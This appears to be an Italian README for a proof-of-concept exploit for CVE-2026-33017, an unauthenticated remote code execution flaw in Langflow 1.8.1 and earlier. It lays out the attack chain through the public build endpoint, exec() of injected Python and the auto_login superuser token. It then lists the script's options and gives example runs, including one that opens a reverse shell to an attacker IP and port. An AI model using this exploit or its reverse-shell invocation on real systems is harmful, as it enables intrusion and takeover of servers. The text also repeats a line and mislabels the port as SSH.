
La vulnerabilità in Langflow 1.8.1 e versioni precedenti consente a un attaccante remoto non autenticato di ottenere l'esecuzione arbitraria di comandi sull'host.
La vulnerabilità in Langflow 1.8.1 e versioni precedenti consente a un attaccante remoto non autenticato di ottenere l'esecuzione arbitraria di comandi sull'host.
L'endpoint POST /api/v1/build_public_tmp/{flow_id}/flow consente a chiunque di creare flussi pubblici senza autenticazione.
Fornendo il parametro opzionale data, un attaccante può sovrascrivere il flusso memorizzato con una propria definizione personalizzata, incorporando codice Python arbitrario nelle configurazioni dei nodi. Questo codice controllato dall'utente viene eseguito tramite exec() senza sandboxing o validazione, portando a un'esecuzione remota di codice non autenticata.
Langflow 1.8.1 e versioni precedenti
AUTO_LOGIN=trueQuando AUTO_LOGIN=true (configurazione predefinita), un attaccante non autenticato può soddisfare tutte le condizioni:
GET /api/v1/auto_login → ottiene un token da superutentePOST /api/v1/flows/ → crea un flusso pubblicobuild_public_tmp senza alcuna autenticazionepython cve-2026-33017.py <host> [options]
Opzioni:
-p PORT, --port PORT: Porta SSH (predefinita: 7860)
-id FLOW_ID, --flow_id FLOW_ID: ID del flusso pubblico (ne verrà creato uno nuovo se omesso)
-c COMMAND, --command COMMAND: Comando personalizzato da eseguire
--shell: Avvia una reverse shell
--lhost LHOST: IP dell'attaccante per la reverse shell
--lport LPORT: Porta dell'attaccante per la reverse shell (predefinita: 4444)
-t TIMEOUT, --timeout TIMEOUT: Timeout di connessione in secondi (predefinito: 5)
python cve-2026-33017.py 127.0.0.1 -c 'touch /tmp/pwned.txt'
python cve-2026-33017 127.0.0.1 --shell --lhost 192.168.1.100 --lport 4444
Questo PoC è solo a scopo educativo e di ricerca. Usalo a tuo rischio. L'autore non è responsabile per qualsiasi uso improprio o danno causato.